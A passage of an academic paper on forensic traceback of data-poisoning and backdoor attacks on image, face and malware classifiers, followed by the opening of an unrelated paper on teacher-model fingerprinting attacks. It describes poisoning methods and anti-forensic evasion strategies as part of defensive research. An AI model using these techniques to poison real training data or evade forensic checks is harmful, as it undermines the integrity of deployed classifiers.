classification rate. Further implementation details are in Ap-

pendix A.2.

• Bullseye Polytope (BP) (CIFAR10 & ImageNet): The BP

attack [1] aims to make the model classify a single attack

sample xa to a target class ya at test time without modify-

ing the sample (hence, triggerless). This is done by adding
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imperceptible perturbations to the poison training data so

their representations in the feature space form a fixed-radius

polytope around the chosen attack sample xa. The classifier

then associates the region around the attack sample with the

label of the poison data, which is the desired target label ya.

This leads to misclassification of xa to ya at test time.

It is known that BP only works well when the attacker has

access to a pretrained feature extractor used by the victim

model, i.e., it is effective in the transfer learning setting. We

follow this setup and use a feature extractor pretrained on

the benign data as the victim. We use the attack parameters

of the BP-5x attack (the strongest variant) from the original

paper and test the attack on CIFAR10 and ImageNet.

• Witches’ Brew (CIFAR10 & ImageNet): Witches’

Brew [26] is a clean-label triggerless attack that. It works

by adding imperceptible perturbations to the poison data to

align its gradient with that of the attack sample. This makes

the model misclassify the attack sample to the target class

of the poison data. We test the attack on CIFAR10 and Ima-

geNet datasets.

• Malware Backdoor (Ember Malware): This is a clean-

label, backdoor attack on malware classifiers [65]. The at-

tacker uses influence functions to find 128 most impor-

tant features defining ‘goodware’ and uses these as a trig-

ger. These features are then modified for poison malware

samples, with the target class being ‘goodware’. The au-

thors of [65] found all three of the state-of-the-art de-

fenses [15, 46, 75] are ineffective against this attack. Like

the original paper, we use the publicly-available Ember mal-

ware classification dataset. Since attackers are mostly in-

terested in disguising malware as ‘goodware’, we only use

‘goodware’ as the target label of the attack.

Traceback System Setup & Evaluation Metrics. We use

the same system setup and evaluation metrics as §6.

7.2 Traceback Performance

The bottom section of Table 2 shows that our traceback sys-

tem achieves > 98.4% precision and > 96.8% recall when

going against the five clean-label poisoning attacks. In the

following, we discuss these results in detail by contrasting

the trackback performance on clean-label attacks to that on

dirty-label attacks (discussed in § 6.2).

Lower traceback recall due to ineffective poison data.

First, we see that the traceback precision remains high even

as compared to dirty-label attacks, but the recall is consis-

tently lower and the runtime is higher. In particular, Table 2

shows that the lowest traceback recall happens on the two

triggerless attacks, BP and Witches’ Brew. We hypothesize

that it is because these two attacks failed to move the rep-

resentations of some poison training data to the desired lo-

cation in the feature space. These “ineffective” poison train-

ing data made very little contribution to the misclassification

event, and are hard to detect during traceback.

ℓ(F (xa),ya)
ℓ(F −

(xa),ya) when removing

an innocent cluster a poison cluster

0.61± 0.07 0.39± 0.04 8.81± 0.81

Table 4: The cross-entropy loss of the misclassification event

on the original and modified models, for BP-CIFAR10.

We test and validate this hypothesis by gradually increas-

ing the attack perturbation budget (to increase the effective-

ness of the poison training data) and observing the attack

success rate. The budget for the BP and WitchBrew attacks

determines the magnitude of perturbation the attacker can

add to each poison data point (the default budget is set to

Lin f = 0.03). A higher perturbation budget allows the at-

tacker to position the poison training data “closer” to their de-

sired locations, making these data more “effective” and lead-

ing to a stronger attack success rate. Table 14 confirms that

the attack success rate increases with the perturbation budget.

We also list the traceback precision and recall. While preci-

sion remains high, the recall also increases from 94.9% to

99.4% as we increase the budget, confirming our hypothesis

that the presence of ineffective poison samples is the reason

for a lower recall value.

Less distinct clusters lead to more pruning iterations.

We also study the performance of clustering and pruning on

the five clean-label attacks. Like Figure 3 for dirty-label at-

tacks, we visualize the projected training data using 2-D PAC

for clean-label attacks. The visualization for BP-CIFAR10 is

shown in Figure 5. Compared to the wide separation seen on

the dirty-label poison data (Figure 3), the BP poison data ap-

pear much less separated from the benign training data. In

fact, they reside in the gap between different benign clusters.

This is not surprising, because clean-label attacks work by

moving the representation of the poison data close to that of

benign data in the target class, so these poison data are inher-

ently closer to the benign data.

We also analyze the pruning operation when tracing back

clean-label attacks. Table 4 shows the cross-entropy loss

caused by training data removal, which is used to determine

whether a cluster is benign or not. Again, we observe a clear

pattern that separates benign clusters from poison (or mixed)

clusters, i.e., ℓ(F −
(xa),ya) for removing an innocent cluster

is smaller than ℓ(F (xa), and ℓ(F −
(xa),ya) for removing a

poison cluster is significantly larger. As such, pruning can

effectively identify benign clusters.

Despite the reduced separation, our traceback system can

still accurately identify the benign (and thus poison) data

clusters while using more clustering/pruning iterations. For

example, an average of 10.7 iterations are needed for BP-

CIFAR10 compared to 3.2 iterations for the dirty-label attack

on the same model (BadNet-CIFAR10).
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Attack-Dataset
Traceback Method

Spectral Signature Neural Cleanse Ours

BadNet-CIFAR10 95.3% / 92.4% 98.7% / 96.6% 99.5% / 98.9%

BadNet-ImageNet 96.0% / 93.7% 91.1% / 97.2% 99.1% / 99.1%

Trojan-VGGFace 93.1% / 89.8% 94.8% / 97.4% 99.8% / 99.9%

Physical-Wenger 43.2% / 67.4% 0% / 0% 99.5% / 97.1%

Malware Backdoor 2.1% / 15.1% 0% / 0% 99.2% / 98.2%

Table 5: Comparing our traceback system against forensic

tools adapted from existing backdoor defenses. We present

the results as “Precision / Recall”.

Attack-Dataset
Traceback Method

Deep K-NN L2-Norm Ours

BP-CIFAR10 36.1% / 74.3% 34.5% / 78.0% 98.4% / 96.8%

BP-ImageNet 57.9% / 79.6% 53.4% / 72.4% 99.3% / 97.4%

WitchBrew-CIFAR10 49.3% / 53.9% 52.1% / 42.8% 99.7% / 96.8%

WitchBrew-ImageNet 53.5% / 47.2% 51.3% / 44.3% 99.1% / 97.9%

Table 6: Comparing our traceback system against forensic

tools adapted from existing clean-label defenses. We present

the results as “Precision / Recall”.

8 Comparing against Adapted Defenses

While forensics tools are solving a different problem as

defenses, it is reasonable to ask, can existing defenses be

adapted to become tools in forensic analysis. Here, we adapt

four state-of-the-art poison defenses (two backdoor and two

triggerless defenses) to perform post-attack traceback anal-

ysis. We compare our system against adapted backdoor de-

fenses (Spectral Signature [75] and Neural Cleanse [79]) in

Table 5, and our system against triggerless defenses (Deep

K-NN and L2-Norm Outliers [59]) in Table 6.

Spectral Signature. Spectral signature [75] extracts sig-

natures for backdoor training data using the spectrum of the

covariance of the feature representation. Spectral signature

identifies the malicious training samples post-training (be-

fore attack). We adapt spectral signature simply by using it

to identify the malicious training data post-attack.

Table 5 shows that spectral signature performs well on

BadNet and Trojan attacks, but performs quite poorly when

tracing back attacks for physical backdoors and malware

backdoors. The poor performance against Malware Back-

doors is consistent with the malware paper itself [65], where

the authors showed that spectral signature defense is ineffec-

tive against their proposed malware attack.

Neural Cleanse (NC). NC [79] recovers backdoor trig-

gers in a poisoned model by reverse-engineering the back-

door trigger. For traceback, we apply NC and search for the

recovered trigger in the training dataset to identify poison

data. Since NC does not recover the exact input trigger, we

perform the matching in neuron activation space, i.e., flag-

ging the training data if its neuron activation is close to that

of the recovered trigger. We use cosine similarity to measure

the activation distance and use a small set of benign data to

calculate a cutoff threshold.

In our tests, NC performs well on BadNet and Trojan

backdoors, where it successfully recovers backdoor triggers.

Against physical and malware backdoor attack, however, NC

fails to identify any triggers, and thus traceback fails.

Deep K-NN and L2-Norm Outliers. Both defenses are

proposed by [59], where clean-label poison data are detected

using anomaly detection in the feature space. In our tests,

both defenses perform poorly on all four clean-label attack

tasks (Table 6), achieving similar performance as random

guessing. This result is also consistent with results from the

BP and WitchBrew attack papers, where they show existing

defenses are not effective [1, 26].

9 Anti-Forensic Countermeasures

As with other security mechanisms, we expect attackers with

knowledge of our system to deploy adaptive countermea-

sures. In this section, we explore potential anti-forensics tech-

niques and evaluate them for their impact on our system.

Our experiments make the strongest possible assumption

about the attacker: that they know full details of the target

model’s training pipeline, including read access to all train-

ing data, model architecture, and training hyperparameters.

They also know details of the traceback system, including

the function to calculate the data projection. We assume that

attacker can add additional perturbations to its poison data in

order to evade traceback, and we assume a generous pertur-

bation budget of Lin f = 0.1 (attacker can change each input

value by 10%). For trigger-based attacks, we further allow

the attacker to arbitrarily change the location and value of

the triggers.

We consider five different countermeasures, each leverag-

ing in different ways the attacker’s ability to inject manip-

ulated training data into the data pipeline. The countermea-

sures are shown in Figure 4, and include: a) disguising poison

data as benign, b) injecting perturbed benign data, c) bifurcat-

ing poison data, and d) multiple overlapping poison attacks.

We evaluate the countermeasures on a total of 7 attacks, all of

our attacks except for physical backdoors (cannot easily mod-

ify physical triggers) and malware backdoors (fixed triggers

based on heuristic). We also test the scenarios where attacker

increases the attack’s cost in order to evade traceback.

Disguising Poison as Benign. The first countermeasure

tries to confuse the clustering algorithm, by perturbing the

poison data and pushing it closer to benign data in the

data projection space (Figure 4b). If the clustering heuris-

tic groups poison data into different benign clusters, it will

terminate the pruning and either reduce recall or confuse the

system into identifying it as a non-poison misclassification.

We test the case where an attacker minimizes the distance

between each poison data and a benign data point closest to it

in the data projection space, while optimizing for the original

attack objectives, using a λ parameter to balance the two ob-

jectives. The attacker leverages a bi-level optimization [34]

to optimize the attack objective, since the modifications of
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Figure 4: An illustration of four countermeasures where attacker can manipulate the data layout in data projection space in

order to disrupt traceback.

L2 Distance
Attack

Success Rate
Precision Recall

434.5± 8.2 99.5± 0.0% 99.5± 0.0% 98.9± 0.0%

290.4± 8.9 89.5± 0.6% 98.4± 0.1% 98.1± 0.1%

184.8± 5.7 64.3± 1.7% 96.9± 0.3% 97.2± 0.1%

110.3± 3.1 28.3± 3.2% 95.9± 0.3% 96.7± 0.2%

59.0± 1.9 0.0± 0.0% N/A N/A

31.4± 1.2 0.0± 0.0% N/A N/A

Table 7: For disguising Trojan-VGGFace, attack success rate

drops as the L2 distance between poison and benign pro-

jections decreases, while traceback precision and recall drop

slightly.

L2 Distance
Attack

Success Rate
Precision Recall

28.2± 0.9 86.1± 1.4% 98.4± 0.1% 96.8± 0.2%

25.4± 1.3 59.4± 3.4% 97.2± 0.2% 95.0± 0.3%

19.0± 1.2 19.7± 2.0% 96.1± 0.2% 94.8± 0.3%

12.8± 0.8 8.7± 0.4% 95.9± 0.1% 95.1± 0.3%

9.4± 0.5 0.0± 0.0% N/A N/A

4.4± 0.3 0.0± 0.0% N/A N/A

Table 8: For disguising BP-CIFAR10, attack success rate de-

creases as L2 distance between poison and benign projections

decreases, while traceback precision and recall drop slightly.

poison data also change the result model and thus, the pro-

jection calculation.

Results are consistent across all 7 attack tasks. For brevity,

we show detailed results for Trojan-VGGFace (Table 7) and

BP-CIFAR10 (Table 8). As the L2 distances between poison

and benign data decrease, it becomes harder for the model to

learn the attack, and attack success rate drops to zero. Impact

on traceback is minimal: precision and recall drop less than

3.6% across all tasks.

Targeted Contamination Attack (TaCT). Another

method to disguise poison data is the TaCT attack [74].

TaCT is designed to obscures the difference between poi-

son and benign representations in order to evade existing de-

fenses. TaCT leverages source-specific backdoors, triggers

only work when applied to specific images. The authors

found that TaCT causes poison and benign data to be insepa-

rable in neuron representation space.

We test our traceback system against TaCT. We find that

while poison and benign data are inseparable in neuron rep-

resentation space, we can still separate them in our data pro-

jection space. We believe the separation is likely because our

data projections measure each data’s impact on model param-

eters, which better characterize training data than neurons ac-

tivation values in poison settings. We test TaCT attack on all

4 backdoor attack tasks from §6. Overall, TaCT attack is inef-

fective against our traceback system, reducing precision and

recall by less than 4% across the five backdoor attacks.

Injecting Perturbed Benign Data. Next, we consider the

countermeasure where the attacker seeks to confuse the clus-

tering algorithm by injecting benign data whose projection

fills in the space between benign and poison data. We refer

to this additional set of modified data as “helper data”. We

note that the helper data do not directly contribute to the suc-

cess of the misclassification event.

As shown in Figure 4(c), an attacker positions helper data

between poison and benign data to mislead the clustering

heuristic. The attacker first identifies the last set of benign

data pruned out by the traceback system. Using the cluster-

ing algorithm, the attacker separates the benign cluster into

two clusters, and the poison data into two groups based on

proximity to each benign cluster’s centroid. The attacker op-

timizes helper data to uniformly position them in between

each benign cluster and its closeby poison cluster. The at-

tacker uses a similar bi-level optimization (§9) to optimize

the attack objective.

We apply this countermeasure on the 7 attack tasks. For

brevity, we show detailed results for Trojan-VGGFace in Ta-

ble 9. As the number of helper data samples increases to

10000 (25% of training data), attack success rate reduces

gradually to zero, while traceback precision drops to 94.1%

and recall remains the high (> 98.7%). Table 10 shows re-

sults for BP-CIFAR10, where the attack success rate drops

much faster when injecting merely 25 helper data. The faster

drop in attack success is likely due to the fewer clean-label

poison samples and their proximity to benign data. When

Trojan and BP attacks reach zero attack success rate (15000

and 20 helper data respectively), our traceback can still sepa-

rate poison data with > 91.4% precision and recall.

Bifurcating Poison Data. Next, we explore techniques to

separate poison data into multiple (two) separate distribu-

tions both of which contribute to the attack incident while

residing in different parts of data projection space, in order

to evade clustering (Figure 4(d)). The attacker first identifies

the two strongest clusters in the poison data, then maximize
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Number of

Helper Data

Attack

Success Rate
Precision Recall

0 99.8± 0.0% 99.8± 0.0% 99.9± 0.0%

1000 64.3± 3.8% 96.3± 0.2% 99.1± 0.0%

10000 21.0± 3.9% 94.1± 0.3% 98.7± 0.0%

15000 0.0± 0.0% N/A N/A

Table 9: For adding helper data to Trojan-VGGFace, the at-

tack success rate decreases as the number of helper data in-

creases, while the precision and recall of the traceback sys-

tem drop slightly.

Number of

Helper Data

Attack

Success Rate
Precision Recall

0 86.1± 1.4% 98.4± 0.1% 96.8± 0.2%

5 35.5± 3.4% 96.6± 0.3% 96.6± 0.1%

10 13.1± 1.1% 94.3± 0.5% 96.6± 0.2%

20 0.0± 0.0% N/A N/A

Table 10: For adding helper data to BP-CIFAR10, the attack

success rate decreases as the number of helper data increases,

while the recall of the traceback system remains the same and

precision drops slightly.

the distance between the cluster centroids to separate them.

We follow the same bi-level optimization process to optimize

the poison data and use a λ term to balance the objective of

cluster distance and the original attack objective.

We apply this countermeasure to all 7 attack tasks. For BP

attacks and WitchBrew attacks, attack success drops quickly

because the two triggerless attacks rely on clever positioning

of the poison data (e.g., a fixed radius polytope around target

data). For BP and Witches’ Brew, this countermeasure has

no impact on traceback performance (> 97.0% precision and

recall). For trigger-based attacks, we show results on Trojan-

VGGFace in Table 11. We found that as we increase λ to push

for better separation between the two clusters, the centroid

distances fail to increase beyond a certain value. We believe

the failure to separate poison data is because these poison

samples have the same attack objective and trigger, and nat-

urally cluster together in the data projection space. Overall,

the traceback system achieves ≤ 96.7% precision and recall

across all 7 attack tasks.

Multiple Overlapping Poison Attacks. Finally, an at-

tacker can try to combine two dirty-label attacks in one mis-

classification event, by training two different triggers with

the same misclassification label into the model, then includ-

ing both triggers into a single attack input. This attack does

not work for triggerless attacks, since each attack has its own

specific target data.

Our experiments show this countermeasure is ineffective

against our traceback system. We achieve > 98.4% precision

and recall across all attack tasks. While the two poison at-

tacks leverage different triggers, they have the same objec-

tive of misclassifying any inputs to the same target label, and

our data projection directly correlates to the objective of each

L2 Distance
Attack

Success Rate
Precision Recall

2.2± 0.2 99.8± 0.0% 99.8± 0.0% 99.9± 0.0%

17.9± 2.7 98.3± 0.2% 98.2± 0.0% 97.9± 0.1%

25.3± 4.1 97.1± 3.7% 97.3± 0.2% 96.9± 0.2%

23.6± 5.8 97.4± 0.0% 97.5± 0.1% 97.3± 0.1%

24.0± 6.1 98.1± 0.0% 97.6± 0.2% 97.0± 0.2%

Table 11: For separate one Trojan attack into two, the attack

success rate decreases as the L2 distance between centroids

decreases, while the precision of the traceback system re-

mains the same and recall drops slightly.

training data. Thus poison data from two separate attacks ap-

pear in the same region in projection space, enabling us to

cluster them together as part of the same attack.

Higher Cost Attacks. So far, we have focused on attacks

with a similar cost, i.e., same number of poison data. Now, we

explore the impact of attacks with higher cost on our trace-

back system. We allow an adaptive attacker to poison an

increasing number of poison data and test our traceback ef-

fectiveness against these higher cost attacks. We found that

increasing injection rate has an surprisingly low impact on

our traceback system. As attacker increases injection rate to

50%, our traceback system maintains > 95% precision and

> 92% recall, across all 5 countermeasures discussed in this

section and all 9 attack tasks.

We believe the weak impact of increasing injection rate is

because our traceback system views poison as a group effect

(§3.3), and poison data with the same attack objective are

clustered together regardless of the number of poison data.

As a result, increasing injection rate has limited effectiveness

against our traceback system.

10 Discussion: Identifying Non-poison Events

Our work addresses the question of post-attack analysis for

poison attacks on neural networks. In practice, however, a

system administrator must first identify if a misclassification

event was caused by a poisoning attack, or from an evasion

attack or benign misclassification. The former are test-time

attacks that leverage existing vulnerabilities in trained mod-

els to cause misclassification with perturbed data, while the

latter simply arise since models do not classify perfectly.

Attack Identification. We note that our system can dou-

ble as a tool for the first step towards attack identification.

Given a model and a misclassification event (misclassified

input and output), one iteration of our forensic system would

be able to identify if the attack was a poison attack or caused

by other means. Once we separate training data into clusters,

and apply the same unlearning techniques, we can observe if

removal of either subset of training data will alter misclassi-

fication behavior.

Intuitively, both evasion by adversarial perturbation and

benign misclassification rely on specifics of the model’s loss
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landscape. In either case, removal or “unlearning” of any sig-

nificant portion of training data will change the loss land-

scape and should alter the misclassification behavior. In our

system, we would observe that unlearning either of the clus-

ters would alter the misclassification event. So if the first iter-

ation fails to prune away either cluster, then we consider the

misclassification event as non-poison and end traceback.

Limitation. Our attack identification system can be vul-

nerable to “false flag” attack [60] where an attacker carefully

crafts a misclassification event that triggers our traceback sys-

tem to blame an innocent data provider. This is a threat that

the deployer of traceback system needs to keep in mind when

perform any forms of prosecution based on traceback results.

In practice, a system like ours must be understood in context:

the assignment of blame to any parties involved will only be

possible with the availability of an effective data provenance

tool, and there should be a human-in-the-loop confirmation

before any lasting decisions are made.

Further, any attacker trying to carry out an inference time

attack that also has a false flag component will have to solve

a more challenging optimization problem needing access to

the training data. The exploration of techniques to do this

effectively is beyond the scope of this paper but is an inter-

esting direction for future work.

Empirical Results. We test four representative evasion at-

tacks, including two white-box evasion attacks (PGD [52],

CW [13]) and two black-box evasion attacks (Boundary [9]

and HSJA [16]) against all 5 of our evaluation datasets. We

follow the default attack parameters [68] (Appendix 13). We

test 100 evasion attack samples for each attack and classifi-

cation task pair. For benign misclassification, we randomly

select 100 misclassified benign test data as the misclassifi-

cation events for each task. For all these misclassification

events, our forensic tool correctly determined that they were

not caused by data poisoning attacks, i.e., our tool produced

no false positives.

Future Work

We believe the study of post-attack forensic techniques re-

mains an open area with numerous open questions. First,

while our method is effective in our tests, more effort is

needed to understand its robustness when extended to addi-

tional types of attacks and application domains. Second, in

order to assign responsibility to a provider for the poisoned

data, the model administrator must be confident that meta-

data associated with training data is accurate and tamper-

resistant. The study of data provenance [22, 49] in this con-

text remains an open problem.
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A Appendix

A.1 Theoretical Analysis of Training Data

Removal

As discussed in §3.3, our binary measure of event responsi-

bility is inspired by a theoretical analysis on how removing

a portion of the training data affects the poisoning attack per-

formance. We now present this theoretical analysis in detail.

To examine the impact of removing a subset of training

data (D1) on the poisoning attack, we seek to analytically

quantify its impact on the model loss over the true distri-

bution of the poison test data, which indicates the contribu-

tion of D1 to successful misclassification at test time. Fur-

thermore, our analysis considers the general case where D1

may contain both benign and poison training data, i.e., D1 is

drawn from a mixed distribution. We note that while our the-

oretical analysis is driven by the expected value of the loss

over the distribution of the poison test data, in practice the

traceback system can only measure the impact on a single

misclassification event (usually just one data sample). Yet

this is empirically sufficient to label and prune clusters (as

shown by our experimental results in §6 and 7). Finally, since

our clustering is able to find clusters that only contain benign

data, the pruning component used by our traceback focuses

on picking this cluster (D1). This is a special case under our

theorems, which show that clusters can be differentiated even

if they are mixed.

Definitions: Let the full training data D be drawn from a

distribution D comprised of the benign distribution Db and

the poison distribution Dp in the ratio α, i.e., D = αDb +

(1−α)Dp. Let F denote the original model trained on D, us-

ing the loss function ℓ. To measure the impact of removing a

group of data D1 from the training dataset, we consider a new

model F − trained on D \D1, effectively drawn from a dis-

tribution D−
= α−Db +(1−α−

)Dp. Finally, the expected
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loss over the true distribution for a classifier F is LD(F )=

E
(x,y)∼D [ℓ(F (x),y)].

Key Results: If removing D1 from the model training pro-

cess either reduces or maintains the loss of the resulting clas-

sifier on the poison test data, e.g., LDp
(F )≥ LDp

(F −
), this

action has skewed the ratio towards poison data in the train-

ing dataset, implying that D\D1 is more responsible for the

success of poison attacks at test time.

Next, we prove this result in two cases: i) learning from

the entire distribution and ii) learning from the empirical dis-

tribution. We note that the former is not possible in practice

but is useful pedagogically.

Theorem 1. [Learning from true distribution] Consider

classifiers F∗ and F−
∗ that are trained directly from the true

distributions D and D−, respectively. We can show that if

LDp
(F∗)≥ LDp

(F−

∗ ), (4)

then α−
≤ α.

Proof. By definition,

F∗ = argmin
F

LD(F)

= argmin
F

αLDb
(F)+ (1−α)LDp

(F)

and

F−

∗ = argmin
F

LD−(F)

= argmin
F

α
−LDb

(F)+ (1−α
−
)LDp

(F).

The first implies that

∀F, αLDb
(F∗)+ (1−α)LDp

(F∗)

≤ αLDb
(F)+ (1−α)LDp

(F) (5)

⇒ αLDb
(F∗)+ (1−α)LDp

(F∗)

≤ αLDb
(F−

∗ )+ (1−α)LDp
(F−

∗ ), (6)

and the second

∀F, α
−LDb

(F−

∗ )+ (1−α
−
)LDp

(F−

∗ )

≤ α
−LDb

(F)+ (1−α
−
)LDp

(F) (7)

⇒ α
−LDb

(F−
∗ )+ (1−α

−
)LDp

(F−
∗ )

≤ α
−LDb

(F∗)+ (1−α
−
)LDp

(F∗). (8)

We multiply Eq. 6 by α− and Eq. 8 by α, which gives us

αα
−LDb

(F−

∗ )+α(1−α
−
)LDp

(F−

∗ )−α(1−α
−
)LDp

(F∗)

≤αα
−LDb

(F−

∗ )+α
−
(1−α)LDp

(F−

∗ )−α
−
(1−α)LDp

(F∗)

⇒(α−α
−
)(LDp

(F∗)−LDp
(F

−

∗ ))≥ 0 (9)

From Eq. 9, it is clear that if LDp
(F∗) ≥ LDp

(F−
∗ ), α ≥ α−,

proving our claim.

Our proof did not make any assumptions about the con-

vexity of the loss function or the type of learning algorithm

used. This is due to the assumption that we are able to find

classifiers that minimize the loss on the true distribution.

This assumption does not hold in practice, and we typically

use gradient descent algorithms over sampled data for train-

ing [67]. The next theorem deals with this case, but makes

the additional assumptions that the set of possible classifiers

is convex and that the loss function is convex, Lipschitz and

bounded. The learning algorithm used is Stochastic Gradient

Descent (SGD).

Theorem 2. [Learning from empirical distribution] Con-

sider datasets D and D2 defined as above such that D2 ⊂ D.

The corresponding models F and F− are defined over a B-

bounded convex set and trained using SGD over a convex, ρ-

Lipschitz loss function ℓ. D is drawn from D = αDb +(1−

α)Dp, and D2 from D ′
= α−Db+(1−α−

)Dp. Then, we can

show that if

LDp
(F )−LDp

(F −
)≥

−(αε−+α−ε)

α−α−
(10)

then α− < α.

Proof. In the learning setting of interest, we have, from

Corollary 14.12 in Shalev-Shwartz and Ben-David [67],

LD(F )≤ LD(F∗)+ ε, (11)

where ε ≥
B2

ρ
2

|D|
. Similarly, for learning from D−, we have

LD−(F −
)≤ LD−(F−

∗ )+ ε
−, (12)

where ε− ≥
B2ρ2

|D− |
.

Now we can i) substitute F − in the right hand side of Eq.

5 and F in the right hand side of Eq. 7, ii) use Eqs. 11 and

and iii) perform the appropriate scaling and rearrangement to

get

(α−α
−
)(LDp

(F )−LDp
(F −

))≥−(αε
−
+α

−
ε). (13)

If the condition from Eq. 10 is true, then we have α > α
−.

We can then determine that D1 was less responsible than

the remaining data D\D1 if the difference of losses satisfies

the condition from Theorem 2. In other words, this implies

that the remaining data D \D1 is more skewed towards the

poison distribution Dp, guiding our search for the set of poi-

soned data. The implication of the theorem above is that set

searching is viable since for any identified set, its relative im-

pact on the attack incident can be quantitatively determined.

We note that the case when the removed set of data D1 con-

tains only benign data is a special case in the theorem above.
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A.2 Further experimental details

Evaluation Dataset. We discuss in details of training

datasets we used for the evaluation.

• Image Recognition (CIFAR10) - The task is to recognize 10

different objects. The dataset contains 50,000 training im-

ages and 10,000 testing images [41]. The model is an Wide

Residual Neural Network (RNN) with 50 residual blocks

and 1 dense layer [86]. We use this task because of its preva-

lence in general image classification and security literature.

• Image Recognition (ImageNet) - The task is to recognize

1000 different objects. The dataset contains 1,281,167 train-

ing images [18]. We include this task because it has been

used as a general benchmark for computer vision and the

large number of training data poses a challenge for our trace-

back system.

• Face Recognition (VGGFace) – This task is to recognize

faces of 2,622 different people drawn from the Internet. We

include this task because it simulates a more complex fa-

cial recognition-based security screening scenario. Tracing

back poison attack in this setting is important. Furthermore,

the large set of labels and training data in this task allows

us to explore the scalability of our system.

• Malware Detection (EMBER Malware) – Ember is a repre-

sentative public dataset of malware and goodware samples.

The dataset consists of 2,351-dimensional feature vectors

extracted from Portable Executable (PE) files for the Mi-

crosoft Windows OS. We include the dataset to test trace-

back performance on malware detection.

Percentage of

Weights Kept
Precision Recall

0.1% 98.9± 0.0% 98.0± 0.0%

1% 99.1± 0.0% 97.9± 0.1%

5% 99.2± 0.0% 97.9± 0.1%

Table 12: Precision and recall of traceback system remain

the same as the precentage of weights kept for clustering in-

creases for ImageNet-BadNet.

Attack Method Attack Configuration

PGD ε = 0.05, step size = 9, max iterations = 1000, learning rate = 0.05

CW ε = 0.05, # of iteration = 100, epsilon of each iteration = 0.005

Boundary ε = 0.05, num_iterations = 10000, δ = 0.1
HSJA ε = 0.05, num_iterations = 10000, γ = 1.0

Table 13: Detailed information on evasion attacks.

Perturbation

Budget (L_in f )

Attack

Success Rate
Precision Recall

0.01 29.2% 99.4% 94.9%

0.03 86.1% 98.4% 96.8%

0.05 93.7% 99.2% 99.2%

0.09 97.6% 99.1% 99.4%

Table 14: For BP-CIFAR10, both attack success rate and trace-

back recall increase with the attack perturbation budget, be-

cause the poison training data becomes more effective.

Attack Name Dataset
Injection

Rate

Benign

Classification Accuracy

BadNet CIFAR10 10% 92.9± 0.3%

BadNet ImageNet 10% 78.9± 1.7%

Trojan VGGFace 10% 76.1± 0.8%

Physical Backdoor Wenger Face 10% 99.9± 0.0%

Table 15: The default setup of dirty-label poisoning attacks.

Attack Name Dataset
Injection

Rate

Benign

Classification Accuracy

BP CIFAR10 0.01% 93.0± 0.2%

BP ImageNet 0.01% 79.1± 0.9%

WitchBrew CIFAR10 1% 92.2± 0.3%

WitchBrew ImageNet 1% 79.3± 0.7%

Malware Backdoor EMBER Malware 1% 99.2± 0.1%

Table 16: The default setup of the five clean-label poisoning

attacks used in our evaluation.

Attack-Dataset
Avg L2 distance of poison data to Avg # of

iterationsbenign centroid poison centroid

BadNet-CIFAR10 0.65 0.19 3.2

BadNet-ImageNet 0.76 0.24 3.4

Trojan-VGGFace 0.69 0.09 3.1

Physical-Wenger 0.62 0.39 4.0

Table 17: The average L2 distance between individual poi-

son data and the benign (poison) centroid, and the number of

pruning iterations needed to complete the traceback.
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Figure 5: 2-D PCA visualization of the projection of training

data (sampled from BP-CIFAR10). Orange circles are inno-

cent data and red crosses are poison data.
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Abstract
Transfer learning has become a common solution to address
training data scarcity in practice. It trains a specified student
model by reusing or fine-tuning early layers of a well-trained
teacher model that is usually publicly available. However,
besides utility improvement, the transferred public knowledge
also brings potential threats to model confidentiality, and even
further raises other security and privacy issues.

In this paper, we present the first comprehensive investi-
gation of the teacher model exposure threat in the transfer
learning context, aiming to gain a deeper insight into the ten-
sion between public knowledge and model confidentiality. To
this end, we propose a teacher model fingerprinting attack to
infer the origin of a student model, i.e., the teacher model it
transfers from. Specifically, we propose a novel optimization-
based method to carefully generate queries to probe the stu-
dent model to realize our attack. Unlike existing model reverse
engineering approaches, our proposed fingerprinting method
neither relies on fine-grained model outputs, e.g., posteriors,
nor auxiliary information of the model architecture or training
dataset. We systematically evaluate the effectiveness of our
proposed attack. The empirical results demonstrate that our
attack can accurately identify the model origin with few prob-
ing queries. Moreover, we show that the proposed attack can
serve as a stepping stone to facilitating other attacks against
machine learning models, such as model stealing.1

1 Introduction

The past decade has witnessed an unprecedented development
of machine learning (ML). Yet, the progress of ML heavily
relies on sophisticated models, sufficient computing resources,
and a massive volume of training data, which remain major
constraints to building high-performance ML models.

Transfer learning opens a pathway for overcoming obsta-
cles raised by the lack of data or computing resources; it is

1Our code is available at https://github.com/yfchen1994/
Teacher-Fingerprinting.

essentially an ML paradigm to transfer the knowledge from a
well-learned domain into a specified domain where training
data are scarce. Concretely, transfer learning establishes a
new model (a.k.a. student model) through borrowing early
layers from a pre-trained model (a.k.a. teacher model), which
requires far less efforts than training from scratch. It has been
proved to be a promising ML practice and widely applied in a
wide range of academic and industrial areas, such as computer
vision [28], natural language processing [50], etc.

Despite the huge success, such cross-domain knowledge
learning paradigm also raises security and privacy concerns:

• There exist many advanced ML models, each of which
can potentially serve as a teacher model for transfer learn-
ing. Choosing an appropriate teacher model to train a
student model requires a large number of engineering ef-
forts. Thus, for a student model, the choice of its teacher
model certainly belongs to the model owner’s intellec-
tual property (IP), and should be kept confidential.

• On the other side of the coin, from the responsible ML
perspective, a teacher model owner does not want their
model to be transferred to perform unethical or illegal
tasks, such as facial recognition or weapon classification.
Thus, a teacher model owner needs a way to track the
parties that use their model to build student models.

• Malicious parties can intentionally publish vulnerable
ML models online. When such models are used as
teacher models for transfer learning, the corresponding
student models may inherit some vulnerabilities. For in-
stance, Zhang et al. demonstrate that fine-tuned transfer
learning models are more prone to transferable adver-
sarial examples [48]. Yao et al. show that an attacker
can infect transfer learning models by distributing pre-
trained models with backdoors [45].

• Also, after learning the teacher model that a student is
transferred from, an attacker can perform more effec-
tive malicious attacks, such as adversarial example at-
tacks [11] and model stealing/extraction attacks [40].

All these concerns require us to gain a deeper insight into
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the teacher model exposure or transfer learning.
In this paper, we present the first comprehensive investi-

gation of the teacher model exposure threat in the transfer
learning context. In particular, we propose a novel teacher
model fingerprinting attack that can effectively identify the
teacher model of a transferred student. The key idea is to
generate a set of fingerprinting pairs for each teacher model
candidate, which will activate similar latent feature represen-
tations. Hopefully, most of them will also trigger similar latent
features and bring a pair of similar responses to the student
model, if the student model is transferred from the teacher
model candidate. We formalize the query generation process
as an optimization problem, which can be solved via gradient
descent. Note that, the fingerprinting pairs for each teacher
model can be applied to all student models transferred from
the teacher model, i.e., they are reusable. This point demon-
strates the efficiency and practicality of our method.

We conduct extensive experiments to investigate the ef-
fectiveness of our proposed method, and thoroughly evaluate
how various factors affect attack performance. The evalua-
tion shows that our attack can achieve high teacher model
inference accuracy even with a limited number of queries in
